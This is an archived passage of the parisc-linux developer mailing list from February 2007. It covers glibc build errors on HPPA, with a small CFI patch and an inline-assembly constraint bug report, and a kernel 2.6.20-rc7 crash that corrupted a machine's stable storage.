List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: uEv2dCo/bUkosOnGPWgnTyVkZ2hlN0r7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24275

Hi all,

I am trying to build glibc 2.5 with a CVS version of binutils
(2.17.20070103) in order to enable thread local storage support.

I get an error on an assembly file:
../ports/sysdeps/hppa/dl-trampoline.S: Assembler messages:
../ports/sysdeps/hppa/dl-trampoline.S:287: Error: open CFI at the end of
file; missing .cfi_endproc directive

Does anybody know how to fix that?

Thanks,
Aurlien

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.5 and binutils CVS
Date: Fri, 2 Feb 2007 19:28:09 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20070202192809.865707d4.gmsoft__26122.7298331962$1416624273$gmane$org@gentoo.org>
References: <45C37D61.4040507@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="Multipart=_Fri__2_Feb_2007_19_28_09_+0100_oiBz8E8FrpMnsfYL"
X-Trace: ger.gmane.org 1416624273 22597 80.91.229.3 (22 Nov 2014 02:44:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aurelien Jarno <aurelien@aurel32.net>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Feb 2007 18:28:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 02 Feb 2007 19:28:33 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 775477DA0C;
	Fri,  2 Feb 2007 11:28:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14262-09; Fri, 2 Feb 2007 11:28:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FEDD7DA10;
	Fri,  2 Feb 2007 11:28:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 761987DA09
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Feb 2007 11:28:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14262-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 2 Feb 2007 11:28:19 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id B8D187D9ED
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Feb 2007 11:28:19 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id EB562EB38F; Fri,  2 Feb 2007 19:28:18 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 6ABCF2FDD1; Fri,  2 Feb 2007 19:28:17 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>)
	id 1HD38g-0008ED-6z; Fri, 02 Feb 2007 19:27:58 +0100
In-Reply-To: <45C37D61.4040507@aurel32.net>
X-Mailer: Sylpheed 2.3.0 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: s+umBGhCfW4o8+WveGVoIB5mdmllckV3
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24276

This is a multi-part message in MIME format.

--Multipart=_Fri__2_Feb_2007_19_28_09_+0100_oiBz8E8FrpMnsfYL
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable


Aurelien,

The trivial attached patch fix this issue.

Glibc hackers, please commit.

  Guy

On Fri, 02 Feb 2007 19:05:21 +0100
Aurelien Jarno <aurelien@aurel32.net> wrote:

> Hi all,
>=20
> I am trying to build glibc 2.5 with a CVS version of binutils
> (2.17.20070103) in order to enable thread local storage support.
>=20
> I get an error on an assembly file:
> ../ports/sysdeps/hppa/dl-trampoline.S: Assembler messages:
> ../ports/sysdeps/hppa/dl-trampoline.S:287: Error: open CFI at the end of
> file; missing .cfi_endproc directive
>=20
> Does anybody know how to fix that?
>=20
> Thanks,
> Aur=E9lien

--=20
Guy Martin
Gentoo Linux - HPPA port Lead

--Multipart=_Fri__2_Feb_2007_19_28_09_+0100_oiBz8E8FrpMnsfYL
Content-Type: text/x-patch;
 name="glibc-missing-cfi_procend.diff"
Content-Disposition: attachment;
 filename="glibc-missing-cfi_procend.diff"
Content-Transfer-Encoding: 7bit


Add missing cfi_procend.

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>

diff -uNr glibc-2.5.orig/ports/sysdeps/hppa/dl-trampoline.S glibc-2.5/ports/sysdeps/hppa/dl-trampoline.S
--- glibc-2.5.orig/ports/sysdeps/hppa/dl-trampoline.S	2006-09-07 16:34:43.000000000 +0000
+++ glibc-2.5/ports/sysdeps/hppa/dl-trampoline.S	2007-01-30 15:15:58.000000000 +0000
@@ -284,5 +284,6 @@
 	bv,n	0(%r2)
         .EXIT
         .PROCEND
+	cfi_endproc
 	.size   _dl_runtime_profile, . - _dl_runtime_profile
 

--Multipart=_Fri__2_Feb_2007_19_28_09_+0100_oiBz8E8FrpMnsfYL
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Multipart=_Fri__2_Feb_2007_19_28_09_+0100_oiBz8E8FrpMnsfYL--



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] input constraints in atomic.h too loose ?
Date: Fri, 2 Feb 2007 22:15:50 -0500
Organization: wh0rd.org
Lines: 200
Approved: news@gmane.org
Message-ID: <200702022215.50914.vapier__33994.1175342121$1416624274$gmane$org@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_m5/wFZqfBswZx60"
X-Trace: ger.gmane.org 1416624274 22600 80.91.229.3 (22 Nov 2014 02:44:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Feb 2007 03:16:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 03 Feb 2007 04:16:20 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A52C67DA3A;
	Fri,  2 Feb 2007 20:16:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18565-10; Fri, 2 Feb 2007 20:16:17 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 192CB7DA2B;
	Fri,  2 Feb 2007 20:16:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7BB57DA1B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Feb 2007 20:16:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18316-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 2 Feb 2007 20:16:11 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id EFEC97DA19
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Feb 2007 20:16:10 -0700 (MST)
Original-Received: from home.wh0rd.org (pool-151-203-5-76.bos.east.verizon.net
	[151.203.5.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id B2CA464684
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Feb 2007 03:16:08 +0000 (UTC)
Original-Received: (qmail 26598 invoked from network); 2 Feb 2007 22:12:56 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 2 Feb 2007 22:12:56 -0500
User-Agent: KMail/1.9.6
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t8fwfT8CMmAp4bSZZGFnsvAxMjQ1N50L
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24277

--Boundary-00=_m5/wFZqfBswZx60
Content-Type: multipart/signed; boundary="nextPart1567940.GMsSYHFemH";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1567940.GMsSYHFemH
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

while building glibc-2.5/cvs with gcc-4.1.1, i hit an error about invalid=20
operands in the locking code ... looks like the declared constraints for th=
e=20
inputs in atomic.h are too loose ?

$ hppa2.0-unknown-linux-gnu-gcc -O1 -fPIC vfprintf.i -c
/tmp/ccvCRbqg.s: Assembler messages:
/tmp/ccvCRbqg.s:41: Error: bad expression
/tmp/ccvCRbqg.s:41: Error: bad expression
/tmp/ccvCRbqg.s:41: Error: bad expression
/tmp/ccvCRbqg.s:41: Error: bad expression
/tmp/ccvCRbqg.s:41: Error: bad expression
/tmp/ccvCRbqg.s:41: Error: bad expression
/tmp/ccvCRbqg.s:41: Error: Invalid operands=20
/tmp/ccvCRbqg.s:43: Error: bad expression
/tmp/ccvCRbqg.s:43: Error: bad expression
/tmp/ccvCRbqg.s:43: Error: bad expression
/tmp/ccvCRbqg.s:43: Error: bad expression
/tmp/ccvCRbqg.s:43: Error: bad expression
/tmp/ccvCRbqg.s:43: Error: bad expression
/tmp/ccvCRbqg.s:43: Error: Invalid operands=20
=2Dmike

--nextPart1567940.GMsSYHFemH
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.1 (GNU/Linux)

iQIVAwUARcP+ZkFjO5/oN/WBAQJqiBAAhlZLUsR/sL87g9IfjoDYzYHkjtClC5Lw
aPFLI3owlIo4K1zIvus+LfwDr8EwEbl/ZiDjuRBcvAFUiYbkrQV06wYHhD/UHtgj
adPPrh++hj0GmpRPVmyDjEZcskcB0y+QsrZYNv/xmSXTKENbXa2gdjSZnUMRUWkZ
x948dhtYmCpk7gQVP/z6L5tAHFmrcIMREYcuKsEYbtl3Qg83QNIJQfZ59PHX5wNR
wDRd8JXSwC2yhdtHhL3IvGxf73c3iyFYmQniWo47H5DosGUnoBL6gEKk/C6gPCiQ
Tq/gFw+DbYtldCHOyQK0Bdds6ZSAG663b7Scw5ued8h+NZzSDlnVp1e6SoPI7LNZ
YLYk7wXW00Gh1IkcWX1Vh9Yfy7o1Wkd3d+rFGpij9ZUlPc+5Zp2W7nE74/8dqo8i
H0OxOlHjA9RoiyO7CM4phlvoCreWjUXcIgxpTl6v/VPjpSf6qvJUrfZewHjrKS1a
kI3hIQYG6e107VtqhGKlwEnuJLWkLP/XCNxBddsrn0k59+U7PdX5bR7EcsB5fcZa
Jn2S/Lqqsl8nxv2wtbCsM00jJO72KAbu8A2huoU5+LAAN2A1ezIUngb5kHrE6DSK
d8M6tye6zWEVIaT/bGj1II1X51QfzZYQj1Jw4pjabbB7yD1wGsxIj5ATi9HE79cb
4IcrRX1rsOw=
=Md4a
-----END PGP SIGNATURE-----

--nextPart1567940.GMsSYHFemH--

--Boundary-00=_m5/wFZqfBswZx60
Content-Type: text/x-objcsrc;
  charset="us-ascii";
  name="vfprintf.i"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename="vfprintf.i"

static void __lll_mutex_lock(int *futex)
{
	int lws_errno = 14; 
	int lws_ret;
	asm (
"0:					\n\t" 
"copy	%3, %%r26			\n\t" 
"copy	%4, %%r25			\n\t" 
"copy	%5, %%r24			\n\t" 
"ble	" "0xb0" "(%%sr2, %%r0)		\n\t" 
"ldi	" "0" ", %%r20		\n\t" 
"cmpib,=,n " "11" ",%%r21,0b	\n\t" 
"nop					\n\t" 
"stw	%%r28, %0			\n\t" 
"sub	%%r0, %%r21, %%r21		\n\t" 
"stw	%%r21, %1			\n\t"
: "=m" (lws_ret), "=m"(lws_errno), "=m"(*futex)
: "r"(futex), "r"(0), "r"(1)
:"r1", "r26", "r25", "r24", "r23", "r22", "r21", "r20", "r28", "r31", "memory"
);
}
typedef struct {
	char *_IO_write_end;
	int lock;
} _IO_FILE;
__attribute__ ((__nothrow__)) __attribute__ ((noinline))
static int buffered_vfprintf(_IO_FILE *s)
{
	char buf[8192];
	_IO_FILE *hp;
	hp->_IO_write_end = buf;
	__lll_mutex_lock(&s->lock);
}
void foo(_IO_FILE *s)
{
	buffered_vfprintf(s);
}

--Boundary-00=_m5/wFZqfBswZx60
Content-Type: text/plain;
  charset="us-ascii";
  name="vfprintf.s"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
	filename="vfprintf.s"

	.LEVEL 1.1
	.text
	.align 4
	.type	buffered_vfprintf, @function
buffered_vfprintf:
	.PROC
	.CALLINFO FRAME=8320,CALLS,SAVE_RP,ENTRY_GR=7
	.ENTRY
	stw %r2,-20(%r30)
	addil L'8320,%r30
	ldo R'8320(%r1),%r30
	stw %r8,-112(%r30)
	stw %r7,-108(%r30)
	stw %r6,-104(%r30)
	stw %r5,-100(%r30)
	stw %r4,-96(%r30)
	stw %r19,-32(%r30)
	copy %r26,%r8
	ldil L'-16384,%r28
	ldo 8072(%r28),%r28
	addl %r30,%r28,%r6
	stw %r6,0(%r28)
	ldo 4(%r26),%r5
	ldil L'8192,%r7
	addl %r6,%r7,%r20
	ldi 14,%r28
	stw %r28,0(%r20)
	ldi 0,%r2
	ldi 1,%r29
	ldil L'16384,%r4
	ldo -8188(%r4),%r4
#APP
	0:					
	copy	%r5, %r26			
	copy	%r2, %r25			
	copy	%r29, %r24			
	ble	0xb0(%sr2, %r0)		
	ldi	0, %r20		
	cmpib,=,n 11,%r21,0b	
	nop					
	stw	%r28, %r6(%r4)			
	sub	%r0, %r21, %r21		
	stw	%r21, %r6(%r7)			
	
#NO_APP
	ldw -112(%r30),%r8
	ldw -108(%r30),%r7
	ldw -104(%r30),%r6
	ldw -100(%r30),%r5
	ldw -96(%r30),%r4
	addil L'-8320,%r30
	ldo R'-8320(%r1),%r30
	ldw -20(%r30),%r2
	bv,n %r0(%r2)
	.EXIT
	.PROCEND
	.size	buffered_vfprintf, .-buffered_vfprintf
	.align 4
.globl foo
	.type	foo, @function
foo:
	.PROC
	.CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=3
	.ENTRY
	stw %r2,-20(%r30)
	stwm %r4,64(%r30)
	bl buffered_vfprintf,%r2
	stw %r19,-32(%r30)
	ldw -84(%r30),%r2
	bv %r0(%r2)
	ldwm -64(%r30),%r4
	.EXIT
	.PROCEND
	.size	foo, .-foo
	.ident	"GCC: (GNU) 4.1.1 (Gentoo 4.1.1-r3)"

--Boundary-00=_m5/wFZqfBswZx60
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_m5/wFZqfBswZx60--



From - Thu Nov 08 21:35:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.20-rc7 killed my K410
Date: Sat, 3 Feb 2007 23:33:44 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <20070203233344.2c2cc197.gmsoft__19100.0725179494$1416624274$gmane$org@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624274 22604 80.91.229.3 (22 Nov 2014 02:44:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Feb 2007 22:34:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 03 Feb 2007 23:34:12 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B2257DA3B;
	Sat,  3 Feb 2007 15:34:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26028-05; Sat, 3 Feb 2007 15:34:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5926D7DA3C;
	Sat,  3 Feb 2007 15:34:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6EDCD7DA39
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Feb 2007 15:33:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26028-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Feb 2007 15:33:56 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 76A277DA28
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Feb 2007 15:33:56 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id 3FAA6EBCC8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Feb 2007 23:33:55 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id 41E772FD19
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Feb 2007 23:33:54 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>) id 1HDTRt-0001cC-PE
	for parisc-linux@lists.parisc-linux.org; Sat, 03 Feb 2007 23:33:33 +0100
X-Mailer: Sylpheed 2.3.0 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0jXwcUF8Rkke1KuPfGRqTIRmdWkvKBMi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24278



Hi all,

I recently tried the latest git as of today and it broke badly my K410.
The last kernel I tried was 2.6.20-rc6. Git version again but this one was working fine (in UP, SMP was more badly broken than 2.6.19.1-pa0)
It corrupted the stable storage in a way that the HWversion value differs from the expected value and fails.

In my first try of booting this kernel it also corrupted the stable storage but it still reached the pdc console and I could recover it by going in COnfiguration -> DEfault. It was not possible to set any path anymore using pa pri 10/0.1 nor read any path before using this command.

Do you know a way to recover from this ?


This is the last boot attempt. For this one I disabled all CPU but the first one and palo had the nosmp option set anyway.


PALO(F0) partition contains:                                                                                                                                                                                        
    0/vmlinux32 4748163 bytes @ 0x48000                                                                                                                                                                             
                                                                                                                                                                                                                    
Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/md0 nosmp console=ttyB0 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
ELF32 executable
Entry 00100500 first 00100000 n 3
Segment 0 load 00100000 size 3425668 mediaptr 0x1000
Segment 1 load 00445000 size 376832 mediaptr 0x346000
Segment 2 load 00500000 size 289928 mediaptr 0x3a2000
Branching to kernel entry point 0x00100500.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org
                                                                                                                                                                                                                    
[4294667.296000] Linux version 2.6.20-rc7 (root@fridge) (gcc version 4.1.1 (Gentoo 4.1.1-r3)) #5 SMP Sat Feb 3 16:30:11 CET 2007
[4294667.296000] FP[0] enabled: Rev 1 Model 11
[4294667.296000] The 32-bit Kernel has started...
[4294667.296000] Initialized PDC Console for debugging.
[4294667.296000] Determining PDC firmware type: System Map.
[4294667.296000] model f0190000 00000491 00000000 00000002 00000000 100000f1 00000004 0000008a 0000008a
[4294667.296000] vers  0000000d
[4294667.296000] CPUID vers 11 rev 13 (0x0000016d)
[4294667.296000] model 9000/800 Series HPUX HPUX HPUX.
[4294667.296000] ------------[ cut here ]------------
[4294667.296000] kernel BUG at arch/parisc/kernel/cache.c:232!
[4294667.296000]
[4294667.296000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[4294667.296000] PSW: 00000000000001000000000000001111 Not tainted
[4294667.296000] r00-03  0004000f 1046d010 10510c70 00800327
[4294667.296000] r04-07  10500088 0009b404 10504000 000000f2
[4294667.296000] r08-11  000000f3 000000f0 0004000e 1050d128
[4294667.296000] r12-15  0000004d 0000004d 00000003 f0000bf8
[4294667.296000] r16-19  f0001570 f0000074 f000006c 00000000
[4294667.296000] r20-23  00000000 00000010 fffffff8 00000000
[4294667.296000] r24-27  004a6a48 0000000f 00000002 1046f010
[4294667.296000] r28-31  101076d4 10482010 10500240 004a6cb8
[4294667.296000] sr00-03  00000000 00000000 00000000 00000000
[4294667.296000] sr04-07  00000000 00000000 00000000 00000000
[4294667.296000]
[4294667.296000] IASQ: 00000000 00000000 IAOQ: 101076d4 101076d8
[4294667.296000]  IIR: 03ffe01f    ISR: 00000000  IOR: 004a6cb8
[4294667.296000]  CPU:        0   CR30: 10500000 CR31: 10504000
[4294667.296000]  ORIG_R28: 00000000
[4294667.296000]  IAOQ[0]: disable_sr_hashing+0x48/0xa4
[4294667.296000]  IAOQ[1]: disable_sr_hashing+0x4c/0xa4
[4294667.296000]  RP(r2): paging_init+0x48/0x750
[4294667.296000] Backtrace:
[4294667.296000]  [<10108db8>] die_if_kernel+0x130/0x198
[4294667.296000]  [<1024e21c>] report_bug+0xa0/0xb4
[4294667.296000]  [<1010902c>] handle_interruption+0x20c/0x60c
[4294667.296000]  [<1010f604>] real32_call+0x110/0x11c
[4294667.296000]  [<1010f604>] real32_call+0x110/0x11c
[4294667.296000]  [<1010f918>] pdc_iodc_putc+0x104/0x130
[4294667.296000]  [<1010d090>] intr_check_sig+0x0/0x34
